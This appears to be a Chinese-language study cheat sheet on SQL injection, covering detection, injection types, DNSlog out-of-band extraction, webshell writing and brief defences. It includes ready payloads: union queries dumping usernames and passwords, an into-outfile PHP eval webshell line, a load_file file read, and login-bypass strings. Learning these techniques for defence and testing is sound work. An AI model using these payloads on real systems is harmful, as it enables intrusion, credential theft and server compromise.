无题
SQL注入的原理:
- 对用户
提交的参数没有过滤
,导致传入的数据拼接到SQL语句中被直接带入数据库执行查询操作。
SQL注入的危害:
- 暴露敏感数据、数据被窃、数据篡改、网页篡改、写入网站后门、获取系统操作权限等
- 只要权限高,可以脱库 如果有写入权限,可以写入webshell 可以对数据库进行增删改查操作 可以逐步进行提权操作服务器
SQL注入的防御:
- 限制传入数据类型、
预编译和绑定变量
、 统一编码、PDO预处理
、正则过滤
、 关闭错误信息输出、 使用WAF拦截、下载相关防范注入的文件,通过incloud包含放在网站配置文件里面
SQL注入的修复:
- 在网页代码中对用户输入的数据进行严格过滤(代码层)
- 部署Web应用防火墙(设备层)
- 对数据库操作进行监控(数据库层)
- 彻底解决-只能代码层
SQL注入漏洞检测方法
- 单引号(页面可能报错)、and 1=1、and 1=2(两次页面是否一样)、and mod(2,1)in(1)求余运算、sleeep(3)时间延时、xor 1=2 异或运算、%26%26 1=1,2(&&url编码=%26)、and true,and flase(等号给注释了)
怎么找sql注入点(sql注入思路)
与数据库交互的页面
、登录页面、更新的地方、注册的地方、修改密码的地方、带参数的地方
、查询删除的地方、增删改查、http头(user-agent[指纹信息]、cookie[账号信息]、IP地址头)
SQL注入的流程
找与数据库存在交互的页面和带参数的地方,判断注入的类型,判断后端数据库类型,判断语句是否被成功执行,判断当前环境可以利用的注入方式,判断后端安全方式,先判断注入点类型,利用单引号或者and 1=1或 and 1=2看页面是否报错,确定注入点后,利用 order by 测试字段数,利用联合查询 union select + 字段,爆出准确字段后,用database()进行替换得信息,利用 information_schema 数据库获取表名,还可以写入webshell,用bp挂字典猜解表名,拿到权限开启3389
https://1oecho.github.io/all-in-sql/
判断注入的类型(字符,数字,搜索…)
判断后端数据库类型(Oracle,MySQL,Mssql,PostgreSql…)
判断语句是否被成功执行(构造差异条件…)
判断当前环境可以利用的注入方式(sqlmap的分类: 堆叠注入,联合查询,报错注入,布尔盲注,时间盲注..利用效率从高到低)
判断后端安全方式(无防护,黑名单,白名单,WAF…利用难度依次递增)
SQL注入的条件:
参数用户可控
:前端传给后端的参数内容是用户可以控制的参数带入数据库查询
:传入的参数拼接到SQL语句,并且带入数据库查询
SQL注入成功的条件:
读文件操作
- 知道文件的绝对路径、 能使用union查询、 web目录需要拥有写权限
写文件操作
- 知道绝对路径、 对文件具有写权限、对单引号 ’ 未过滤
利用方式
- union注入、 盲注、 报错注入、 堆叠注入、 宽字节注入、 http头注入
联合注入前提
- 两个不同的表必须具有相同的字段数量才能进行联合查询
SQL注入的分类
分类依据 | 类型 |
---|---|
注入点类型 | 数字型、 字符型、 搜索型 (%vince% or 1=1)、 特殊型 (username=(’xx‘) or 1=1) |
提交方式 | GET、 POST、 Cookie |
注入方式 | union注入、 堆叠注入、 报错注入、 布尔盲注、 时间盲注、 information_schema注入 |
其他注入方式 | 二次注入、 宽字节注入、 万能密码、 HTTP头注入(XF-F,U-A,Referer) |
注:post提交和get提交区别:post提交的参数在请求体里面,get提交的参数在地址栏里,post注入必须抓包修改请求包写入参数提交即可 【sqlmap -r】
根据页面「是否回显」分类:
- 显注:前端页面可以回显用户信息,比如 联合注入、报错注入。
- 盲注:前端页面不能回显用户信息,比如 布尔盲注、时间盲注
即接受get提交又能接受post和cookie提交
- 修改函数为:
request
MySQL版本4和版本5的区别
- 4:存在字符转义,不支持字句查寻
- 5:有information_schema元数据库,通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。 通过dumpfile/outfile写入文件函数获取WebShell。
MYSQL默认的元数据库-information_schema(5.0以上版本才有这个库
)
- information_schema.schemata:储存了数据库中所有库名
- information_schema.tables:储存了数据库中所有表名
- information_schema.columns:储存了数据库中所有列名
判断数据库类型
MySQL数据库特有的表:information_schema.tables,
access数据库特有的表:msysobjects,
SQLServer数据库特有的表:sysobjects,
可以用如下的语句判断数据库,哪个页面正常显示,就属于哪个数据库
1 | 判断是否是 Mysql数据库 |
DNSlog 注入
- 即 DNS 外带查询是属于 Mysql 注入的一种方法,可以通过查询相应的 dns 解析记录,来获取我们想要的数据
DNSlog解决无回显
使用场景
- SQL盲注(linux系统不支持)
- 命令执行无回显
- xss无回显
- ssrf无回显
原理:向服务器提交注入payload的语句,攻击语句会进入数据库执行,但web不会回显,
使用的函数:load_file
使用dnslog条件:mysql-5版本以上,mysql.ini配置文件中:secure_filie_priv””值为空
使用:
sql攻击语句load_file后面接上dnslog生成的地址
select load_file(concat(攻击语句+dnslog地址))
报错注入
常用函数
updatexml()
extractvalue()
floor()
exp()
polygon()
linestring()
multiponint()
- 在MYSQL中使用一些指定的函数来制造报错,从报错信息中获取设定的信息,updatexml 支持增删改查型注入 insert、updata、delete
条件
- 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
宽字节注入
条件:MySQL使用了GBK编码、 开启了PHP魔术模块magic_quotes_gpc():把单引号转义成了/反斜杠
使用场景:特殊字符被转义
使用方法:
在单引号前加一个编码的汉字%df方式注入
总结:就是单引号被干掉了,我们要使用%df把转义或者干掉的单引号占用它
注:宽字节注入的时候payload不要有url编码,使用BP来调试
堆叠注入
- 使用多条sql语句注入,中间用分号隔开
布尔盲注
- WEB页面不会回显错误信息,只会返回ture和false真和假(boolean值只能是true和false)
- 布尔盲注就是进行SQL注入之后,根据页面返回的True或False,来得到数据库中的相关信息
- 页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注,一般使用Python脚本来枚举试错,脚本使用requests库完成GET请求
步骤
盲注一般用到的一些函数:ascii() 、substr() 、length(),exists()、concat()等。
- 确定布尔盲注注入点
- 判断查询结果长度:使用 length() 函数 判断查询结果的长度
- 枚举数据内容:使用 ascii() 和 substr() 函数,逐个字符地枚举出数据内容
自动化布尔盲注
- 由于布尔盲注涉及大量重复的试错过程,通常会使用自动化脚本来执行。这些脚本会自动发送请求,并根据响应来判断每一步的条件是否成立,从而逐步获取数据
python自动化脚本原理:
- 脚本中 boolean_blind_injection 函数,会尝试每一个可能的ASCII码值,并检查响应中是否包含true_condition字符串,如果包含,说明注入的条件成立,函数返回对应的字符
二次注入urldecode
- 原理:使用了urldeode()、rawurldecode()、或者魔法模块GPC开启了把特殊字符单引号给转义了,则会导致
二次解码生成单引号
形成注入。【解码:单引号=%25、%25=单引号】
延时注入
延时函数有sleep() 、benchmark()
获取数据库Web路径方法
- 使用单引号报错,看返回信息
- 右键查看网站源代码,有可能泄露物理路径
- 通过百度Google搜索引擎搜索存在注入站点
MySQL写webshell
outfile:写入文件函数
利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
条件
有root权限 或 FILE权限,数据库的权限
gpc关闭(能使用单引号)
,magic_quotes_gpc=off知道网站的绝对路径
有读写权限
secure-file-priv参数设置为空
,该参数在mysql的配置中,为空不限制mysql导入导出
方式
- union select 后写入
- log 写入
- lines terminated by 写入
- lines starting by 写入
例:通过 select into outfile
实现,outfile
是MySQL提供一个用来写入文件的函数
1 | 1’ union select 1,’<?php @eval($_REQUEST['123']);?>’into outfile 路径 |
load_file读取文件
1 | 1’ union select 1,load_file 路径 ‘/var/www/tmp/a.php’# |
sqlmap使用os_shell拿到shell的三个条件
原理:是将脚本插入到数据库(也可以是日志)中,然后生成相应的代码文件,获取 shell 即可执行命令;–os-shell 就是使用 udf 提权获取 WebShell。也是通过 into oufile 向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
利用条件
- 具有高权限,数据库的权限
- 转义功能关闭,GPC关闭
- 知道网站的绝对路径
- 文件不能覆盖写入
- secure-file-priv为空
SqlServer写Webshell条件
- 高权限,数据库的高权限
- 知道绝对路径
写入方法
- 差异备份写入shell
- 1,先对数据库备份 2,创建一个写webshell的表 3,写入webshell 4,进行差异备份
- log备份写入shell
- 利用xp_cmdshell扩展存储
oracle写webshell条件
- 有DBA权限
- 知道绝对路径
写入方法
- 使用文件访问包方法
伪静态
在SQLMap里,对于伪静态,只需要在怀疑存在注入的数字上加一个*号即可自己判断。
伪静态一般URL地址格式:
1. http://test.com/php100/id/1/1
2. http://test.com/php100/id/1.html
遇到这种情况可以直接对”.html
“之前的参数加“'
”进行判断是否存在注入
动态一般URL地址格式:http://test.com/php100/test.php?id=1
Sqlmap中伪静态哪里存在注入点就加*
号
sql注入绕过
order by --+
判断字段数目
union select --+
联合查询收集信息
id=1' and 1=2 UNION SELECT 1,2,database() --+
查询当前数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
查询所有数据库
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询表名
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询列名
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
查询字段值
MYsql常见函数
1 | version():查询数据库的版本 |
二、MySQL查询语句
1、在不知道任何条件时:
Select(要查询的字段名)from(库名.表名)
2、在知道一条已知条件时:
Select(要查询的字段名)from(库名.表名)where(已知条件的字段名=已知条件的值)
3、在知道两条已知条件时:
Select(要查询的字段名)from(库名.表名)where(已知条件1的字段名=已知条件1的值)and(已知条件2的字段名=已知条件2的值)
常用万能密码登录
- 没有对登录密码的字符串进行参数化和过滤
“or “a”=”a
‘)or(‘a’=’a
or 1=1–
‘or 1=1–
a’or’ 1=1–
“or 1=1–
‘or’a’=’a